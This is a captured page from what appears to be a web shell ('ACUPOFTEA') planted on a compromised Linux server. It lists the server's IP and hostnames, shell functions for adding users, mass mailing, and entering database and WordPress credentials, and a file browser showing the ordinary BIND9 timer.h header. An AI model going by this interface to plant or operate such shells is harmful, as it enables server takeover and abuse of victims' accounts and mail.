System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
bind9
/
isc
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
timer.h
/* * Copyright (C) Internet Systems Consortium, Inc. ("ISC") * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, you can obtain one at https://mozilla.org/MPL/2.0/. * * See the COPYRIGHT file distributed with this work for additional * information regarding copyright ownership. */ #ifndef ISC_TIMER_H #define ISC_TIMER_H 1 /***** ***** Module Info *****/ /*! \file isc/timer.h * \brief Provides timers which are event sources in the task system. * * Three types of timers are supported: * *\li 'ticker' timers generate a periodic tick event. * *\li 'once' timers generate an idle timeout event if they are idle for too * long, and generate a life timeout event if their lifetime expires. * They are used to implement both (possibly expiring) idle timers and * 'one-shot' timers. * *\li 'limited' timers generate a periodic tick event until they reach * their lifetime when they generate a life timeout event. * *\li 'inactive' timers generate no events. * * Timers can change type. It is typical to create a timer as * an 'inactive' timer and then change it into a 'ticker' or * 'once' timer. * *\li MP: * The module ensures appropriate synchronization of data structures it * creates and manipulates. * Clients of this module must not be holding a timer's task's lock when * making a call that affects that timer. Failure to follow this rule * can result in deadlock. * The caller must ensure that isc_timermgr_destroy() is called only * once for a given manager. * * \li Reliability: * No anticipated impact. * * \li Resources: * TBS * * \li Security: * No anticipated impact. * * \li Standards: * None. */ /*** *** Imports ***/ #include <stdbool.h> #include <isc/types.h> #include <isc/event.h> #include <isc/eventclass.h> #include <isc/lang.h> #include <isc/time.h> ISC_LANG_BEGINDECLS /*** *** Types ***/ /*% Timer Type */ typedef enum { isc_timertype_undefined = -1, /*%< Undefined */ isc_timertype_ticker = 0, /*%< Ticker */ isc_timertype_once = 1, /*%< Once */ isc_timertype_limited = 2, /*%< Limited */ isc_timertype_inactive = 3 /*%< Inactive */ } isc_timertype_t; typedef struct isc_timerevent { struct isc_event common; isc_time_t due; } isc_timerevent_t; #define ISC_TIMEREVENT_FIRSTEVENT (ISC_EVENTCLASS_TIMER + 0) #define ISC_TIMEREVENT_TICK (ISC_EVENTCLASS_TIMER + 1) #define ISC_TIMEREVENT_IDLE (ISC_EVENTCLASS_TIMER + 2) #define ISC_TIMEREVENT_LIFE (ISC_EVENTCLASS_TIMER + 3) #define ISC_TIMEREVENT_LASTEVENT (ISC_EVENTCLASS_TIMER + 65535) /*% Timer and timer manager methods */ typedef struct { void (*destroy)(isc_timermgr_t **managerp); isc_result_t (*timercreate)(isc_timermgr_t *manager, isc_timertype_t type, const isc_time_t *expires, const isc_interval_t *interval, isc_task_t *task, isc_taskaction_t action, void *arg, isc_timer_t **timerp); } isc_timermgrmethods_t; typedef struct { void (*attach)(isc_timer_t *timer, isc_timer_t **timerp); void (*detach)(isc_timer_t **timerp); isc_result_t (*reset)(isc_timer_t *timer, isc_timertype_t type, const isc_time_t *expires, const isc_interval_t *interval, bool purge); isc_result_t (*touch)(isc_timer_t *timer); } isc_timermethods_t; /*% * This structure is actually just the common prefix of a timer manager * object implementation's version of an isc_timermgr_t. * \brief * Direct use of this structure by clients is forbidden. timer implementations * may change the structure. 'magic' must be ISCAPI_TIMERMGR_MAGIC for any * of the isc_timer_ routines to work. timer implementations must maintain * all timer invariants. */ struct isc_timermgr { unsigned int impmagic; unsigned int magic; isc_timermgrmethods_t *methods; }; #define ISCAPI_TIMERMGR_MAGIC ISC_MAGIC('A','t','m','g') #define ISCAPI_TIMERMGR_VALID(m) ((m) != NULL && \ (m)->magic == ISCAPI_TIMERMGR_MAGIC) /*% * This is the common prefix of a timer object. The same note as * that for the timermgr structure applies. */ struct isc_timer { unsigned int impmagic; unsigned int magic; isc_timermethods_t *methods; }; #define ISCAPI_TIMER_MAGIC ISC_MAGIC('A','t','m','r') #define ISCAPI_TIMER_VALID(s) ((s) != NULL && \ (s)->magic == ISCAPI_TIMER_MAGIC) /*** *** Timer and Timer Manager Functions *** *** Note: all Ensures conditions apply only if the result is success for *** those functions which return an isc_result_t. ***/ isc_result_t isc_timer_create(isc_timermgr_t *manager, isc_timertype_t type, const isc_time_t *expires, const isc_interval_t *interval, isc_task_t *task, isc_taskaction_t action, void *arg, isc_timer_t **timerp); /*%< * Create a new 'type' timer managed by 'manager'. The timers parameters * are specified by 'expires' and 'interval'. Events will be posted to * 'task' and when dispatched 'action' will be called with 'arg' as the * arg value. The new timer is returned in 'timerp'. * * Notes: * *\li For ticker timers, the timer will generate a 'tick' event every * 'interval' seconds. The value of 'expires' is ignored. * *\li For once timers, 'expires' specifies the time when a life timeout * event should be generated. If 'expires' is 0 (the epoch), then no life * timeout will be generated. 'interval' specifies how long the timer * can be idle before it generates an idle timeout. If 0, then no * idle timeout will be generated. * *\li If 'expires' is NULL, the epoch will be used. * * If 'interval' is NULL, the zero interval will be used. * * Requires: * *\li 'manager' is a valid manager * *\li 'task' is a valid task * *\li 'action' is a valid action * *\li 'expires' points to a valid time, or is NULL. * *\li 'interval' points to a valid interval, or is NULL. * *\li type == isc_timertype_inactive || * ('expires' and 'interval' are not both 0) * *\li 'timerp' is a valid pointer, and *timerp == NULL * * Ensures: * *\li '*timerp' is attached to the newly created timer * *\li The timer is attached to the task * *\li An idle timeout will not be generated until at least Now + the * timer's interval if 'timer' is a once timer with a non-zero * interval. * * Returns: * *\li Success *\li No memory *\li Unexpected error */ isc_result_t isc_timer_reset(isc_timer_t *timer, isc_timertype_t type, const isc_time_t *expires, const isc_interval_t *interval, bool purge); /*%< * Change the timer's type, expires, and interval values to the given * values. If 'purge' is TRUE, any pending events from this timer * are purged from its task's event queue. * * Notes: * *\li If 'expires' is NULL, the epoch will be used. * *\li If 'interval' is NULL, the zero interval will be used. * * Requires: * *\li 'timer' is a valid timer * *\li The same requirements that isc_timer_create() imposes on 'type', * 'expires' and 'interval' apply. * * Ensures: * *\li An idle timeout will not be generated until at least Now + the * timer's interval if 'timer' is a once timer with a non-zero * interval. * * Returns: * *\li Success *\li No memory *\li Unexpected error */ isc_result_t isc_timer_touch(isc_timer_t *timer); /*%< * Set the last-touched time of 'timer' to the current time. * * Requires: * *\li 'timer' is a valid once timer. * * Ensures: * *\li An idle timeout will not be generated until at least Now + the * timer's interval if 'timer' is a once timer with a non-zero * interval. * * Returns: * *\li Success *\li Unexpected error */ void isc_timer_attach(isc_timer_t *timer, isc_timer_t **timerp); /*%< * Attach *timerp to timer. * * Requires: * *\li 'timer' is a valid timer. * *\li 'timerp' points to a NULL timer. * * Ensures: * *\li *timerp is attached to timer. */ void isc_timer_detach(isc_timer_t **timerp); /*%< * Detach *timerp from its timer. * * Requires: * *\li 'timerp' points to a valid timer. * * Ensures: * *\li *timerp is NULL. * *\li If '*timerp' is the last reference to the timer, * then: * *\code * The timer will be shutdown * * The timer will detach from its task * * All resources used by the timer have been freed * * Any events already posted by the timer will be purged. * Therefore, if isc_timer_detach() is called in the context * of the timer's task, it is guaranteed that no more * timer event callbacks will run after the call. *\endcode */ isc_timertype_t isc_timer_gettype(isc_timer_t *timer); /*%< * Return the timer type. * * Requires: * *\li 'timer' to be a valid timer. */ isc_result_t isc_timermgr_createinctx(isc_mem_t *mctx, isc_appctx_t *actx, isc_timermgr_t **managerp); isc_result_t isc_timermgr_create(isc_mem_t *mctx, isc_timermgr_t **managerp); /*%< * Create a timer manager. isc_timermgr_createinctx() also associates * the new manager with the specified application context. * * Notes: * *\li All memory will be allocated in memory context 'mctx'. * * Requires: * *\li 'mctx' is a valid memory context. * *\li 'managerp' points to a NULL isc_timermgr_t. * *\li 'actx' is a valid application context (for createinctx()). * * Ensures: * *\li '*managerp' is a valid isc_timermgr_t. * * Returns: * *\li Success *\li No memory *\li Unexpected error */ void isc_timermgr_destroy(isc_timermgr_t **managerp); /*%< * Destroy a timer manager. * * Notes: * *\li This routine blocks until there are no timers left in the manager, * so if the caller holds any timer references using the manager, it * must detach them before calling isc_timermgr_destroy() or it will * block forever. * * Requires: * *\li '*managerp' is a valid isc_timermgr_t. * * Ensures: * *\li *managerp == NULL * *\li All resources used by the manager have been freed. */ void isc_timermgr_poke(isc_timermgr_t *m); /*%< * See isc_timermgr_create() above. */ typedef isc_result_t (*isc_timermgrcreatefunc_t)(isc_mem_t *mctx, isc_timermgr_t **managerp); isc_result_t isc__timer_register(void); /*%< * Register a new timer management implementation and add it to the list of * supported implementations. This function must be called when a different * event library is used than the one contained in the ISC library. */ isc_result_t isc_timer_register(isc_timermgrcreatefunc_t createfunc); /*%< * A short cut function that specifies the timer management module in the ISC * library for isc_timer_register(). An application that uses the ISC library * usually do not have to care about this function: it would call * isc_lib_register(), which internally calls this function. */ ISC_LANG_ENDDECLS #endif /* ISC_TIMER_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-02-21 10:57:15
..
DIR
-
drwxr-xr-x
2025-02-21 10:57:16
aes.h
text/x-c
1.05 KB
-rw-r--r--
2025-02-20 09:05:24
app.h
text/x-c
10.23 KB
-rw-r--r--
2025-02-20 09:05:24
assertions.h
text/x-c
2.84 KB
-rw-r--r--
2025-02-20 09:05:24
atomic.h
text/x-c
4.07 KB
-rw-r--r--
2025-02-20 09:05:24
backtrace.h
text/x-c
3.8 KB
-rw-r--r--
2025-02-20 09:05:24
base32.h
text/x-c
4.35 KB
-rw-r--r--
2025-02-20 09:05:24
base64.h
text/x-c
2.8 KB
-rw-r--r--
2025-02-20 09:05:24
bind9.h
text/x-c
830 B
-rw-r--r--
2025-02-20 09:05:24
boolean.h
text/plain
594 B
-rw-r--r--
2025-02-20 09:05:24
buffer.h
text/x-c
25.65 KB
-rw-r--r--
2025-02-20 09:05:24
bufferlist.h
text/x-c
1.42 KB
-rw-r--r--
2025-02-20 09:05:24
cmocka.h
text/x-c
1.35 KB
-rw-r--r--
2025-02-20 09:05:24
commandline.h
text/x-c
1.67 KB
-rw-r--r--
2025-02-20 09:05:24
condition.h
text/x-c
1.44 KB
-rw-r--r--
2025-02-20 09:05:24
counter.h
text/x-c
1.88 KB
-rw-r--r--
2025-02-20 09:05:24
crc64.h
text/x-c
998 B
-rw-r--r--
2025-02-20 09:05:24
deprecated.h
text/plain
623 B
-rw-r--r--
2025-02-20 09:05:24
dir.h
text/x-c
1.56 KB
-rw-r--r--
2025-02-20 09:05:24
endian.h
text/x-c
4.67 KB
-rw-r--r--
2025-02-20 09:05:24
entropy.h
text/x-c
10.13 KB
-rw-r--r--
2025-02-20 09:05:24
errno.h
text/x-c
659 B
-rw-r--r--
2025-02-20 09:05:24
errno2result.h
text/x-c
902 B
-rw-r--r--
2025-02-20 09:05:37
error.h
text/x-c
1.4 KB
-rw-r--r--
2025-02-20 09:05:24
event.h
text/x-c
2.98 KB
-rw-r--r--
2025-02-20 09:05:24
eventclass.h
text/plain
1.35 KB
-rw-r--r--
2025-02-20 09:05:24
file.h
text/x-c
11.39 KB
-rw-r--r--
2025-02-20 09:05:24
formatcheck.h
text/plain
893 B
-rw-r--r--
2025-02-20 09:05:24
fsaccess.h
text/x-c
7.27 KB
-rw-r--r--
2025-02-20 09:05:24
hash.h
text/x-c
7.48 KB
-rw-r--r--
2025-02-20 09:05:24
heap.h
text/x-c
5.14 KB
-rw-r--r--
2025-02-20 09:05:24
hex.h
text/x-c
2.74 KB
-rw-r--r--
2025-02-20 09:05:24
hmacmd5.h
text/x-c
1.75 KB
-rw-r--r--
2025-02-20 09:05:24
hmacsha.h
text/x-c
4.41 KB
-rw-r--r--
2025-02-20 09:05:24
ht.h
text/x-c
4.29 KB
-rw-r--r--
2025-02-20 09:05:24
httpd.h
text/x-c
2.26 KB
-rw-r--r--
2025-02-20 09:05:24
int.h
text/x-c
1.06 KB
-rw-r--r--
2025-02-20 09:05:24
interfaceiter.h
text/x-c
3.05 KB
-rw-r--r--
2025-02-20 09:05:24
iterated_hash.h
text/x-c
1.02 KB
-rw-r--r--
2025-02-20 09:05:24
json.h
text/x-c
1.42 KB
-rw-r--r--
2025-02-20 09:05:24
keyboard.h
text/x-c
989 B
-rw-r--r--
2025-02-20 09:05:24
lang.h
text/plain
637 B
-rw-r--r--
2025-02-20 09:05:24
lex.h
text/x-c
9.54 KB
-rw-r--r--
2025-02-20 09:05:24
lfsr.h
text/x-c
2.89 KB
-rw-r--r--
2025-02-20 09:05:24
lib.h
text/x-c
1.04 KB
-rw-r--r--
2025-02-20 09:05:24
likely.h
text/plain
818 B
-rw-r--r--
2025-02-20 09:05:24
list.h
text/x-c
5.62 KB
-rw-r--r--
2025-02-20 09:05:24
log.h
text/x-c
28.06 KB
-rw-r--r--
2025-02-20 09:05:24
magic.h
text/x-c
994 B
-rw-r--r--
2025-02-20 09:05:24
md5.h
text/x-c
2.32 KB
-rw-r--r--
2025-02-20 09:05:24
mem.h
text/x-c
20.62 KB
-rw-r--r--
2025-02-20 09:05:24
meminfo.h
text/x-c
710 B
-rw-r--r--
2025-02-20 09:05:24
msgcat.h
text/x-c
2.66 KB
-rw-r--r--
2025-02-20 09:05:24
msgs.h
text/x-c
8.22 KB
-rw-r--r--
2025-02-20 09:05:24
mutex.h
text/x-c
3.44 KB
-rw-r--r--
2025-02-20 09:05:24
mutexblock.h
text/x-c
1.34 KB
-rw-r--r--
2025-02-20 09:05:24
net.h
text/x-c
10.29 KB
-rw-r--r--
2025-02-20 09:05:24
netaddr.h
text/x-c
4.48 KB
-rw-r--r--
2025-02-20 09:05:24
netdb.h
text/x-c
863 B
-rw-r--r--
2025-02-20 09:05:24
netscope.h
text/x-c
967 B
-rw-r--r--
2025-02-20 09:05:24
offset.h
text/x-c
700 B
-rw-r--r--
2025-02-20 09:05:24
once.h
text/x-c
983 B
-rw-r--r--
2025-02-20 09:05:24
ondestroy.h
text/x-c
2.73 KB
-rw-r--r--
2025-02-20 09:05:24
os.h
text/x-c
671 B
-rw-r--r--
2025-02-20 09:05:24
parseint.h
text/x-c
1.51 KB
-rw-r--r--
2025-02-20 09:05:24
platform.h
text/x-c
9.49 KB
-rw-r--r--
2025-02-20 09:05:24
pool.h
text/x-c
3.42 KB
-rw-r--r--
2025-02-20 09:05:24
portset.h
text/x-c
3.22 KB
-rw-r--r--
2025-02-20 09:05:24
print.h
text/x-c
2.42 KB
-rw-r--r--
2025-02-20 09:05:24
queue.h
text/x-c
5.08 KB
-rw-r--r--
2025-02-20 09:05:24
quota.h
text/x-c
2.38 KB
-rw-r--r--
2025-02-20 09:05:24
radix.h
text/x-c
6.34 KB
-rw-r--r--
2025-02-20 09:05:24
random.h
text/x-c
3.5 KB
-rw-r--r--
2025-02-20 09:05:24
ratelimiter.h
text/x-c
3.42 KB
-rw-r--r--
2025-02-20 09:05:24
refcount.h
text/x-c
8 KB
-rw-r--r--
2025-02-20 09:05:24
regex.h
text/x-c
767 B
-rw-r--r--
2025-02-20 09:05:24
region.h
text/x-c
1.99 KB
-rw-r--r--
2025-02-20 09:05:24
resource.h
text/x-c
2.79 KB
-rw-r--r--
2025-02-20 09:05:24
result.h
text/x-c
4.87 KB
-rw-r--r--
2025-02-20 09:05:24
resultclass.h
text/plain
1.56 KB
-rw-r--r--
2025-02-20 09:05:24
rwlock.h
text/x-c
3.72 KB
-rw-r--r--
2025-02-20 09:05:24
safe.h
text/x-c
1.32 KB
-rw-r--r--
2025-02-20 09:05:24
serial.h
text/x-c
1.34 KB
-rw-r--r--
2025-02-20 09:05:24
sha1.h
text/x-c
1.52 KB
-rw-r--r--
2025-02-20 09:05:24
sha2.h
text/x-c
5.6 KB
-rw-r--r--
2025-02-20 09:05:24
siphash.h
text/x-c
734 B
-rw-r--r--
2025-02-20 09:05:24
sockaddr.h
text/x-c
5.9 KB
-rw-r--r--
2025-02-20 09:05:24
socket.h
text/x-c
35.8 KB
-rw-r--r--
2025-02-20 09:05:24
stat.h
text/x-c
806 B
-rw-r--r--
2025-02-20 09:05:24
stats.h
text/x-c
3.62 KB
-rw-r--r--
2025-02-20 09:05:24
stdatomic.h
text/plain
5.13 KB
-rw-r--r--
2025-02-20 09:05:24
stdio.h
text/x-c
1.75 KB
-rw-r--r--
2025-02-20 09:05:24
stdlib.h
text/x-c
704 B
-rw-r--r--
2025-02-20 09:05:24
stdtime.h
text/x-c
1.04 KB
-rw-r--r--
2025-02-20 09:05:24
strerror.h
text/x-c
777 B
-rw-r--r--
2025-02-20 09:05:24
string.h
text/x-c
5.88 KB
-rw-r--r--
2025-02-20 09:05:24
symtab.h
text/x-c
4.22 KB
-rw-r--r--
2025-02-20 09:05:24
syslog.h
text/x-c
844 B
-rw-r--r--
2025-02-20 09:05:24
task.h
text/x-c
21.04 KB
-rw-r--r--
2025-02-20 09:05:24
taskpool.h
text/x-c
3.62 KB
-rw-r--r--
2025-02-20 09:05:24
thread.h
text/x-c
1.47 KB
-rw-r--r--
2025-02-20 09:05:24
time.h
text/x-c
8.67 KB
-rw-r--r--
2025-02-20 09:05:24
timer.h
text/x-c
10.54 KB
-rw-r--r--
2025-02-20 09:05:24
tm.h
text/x-c
895 B
-rw-r--r--
2025-02-20 09:05:24
types.h
text/x-c
5.64 KB
-rw-r--r--
2025-02-20 09:05:24
utf8.h
text/x-c
928 B
-rw-r--r--
2025-02-20 09:05:24
util.h
text/x-c
10.29 KB
-rw-r--r--
2025-02-20 09:05:24
version.h
text/x-c
689 B
-rw-r--r--
2025-02-20 09:05:24
xml.h
text/x-c
1.07 KB
-rw-r--r--
2025-02-20 09:05:24
~ ACUPOFTEA - mail.ontime-ae.com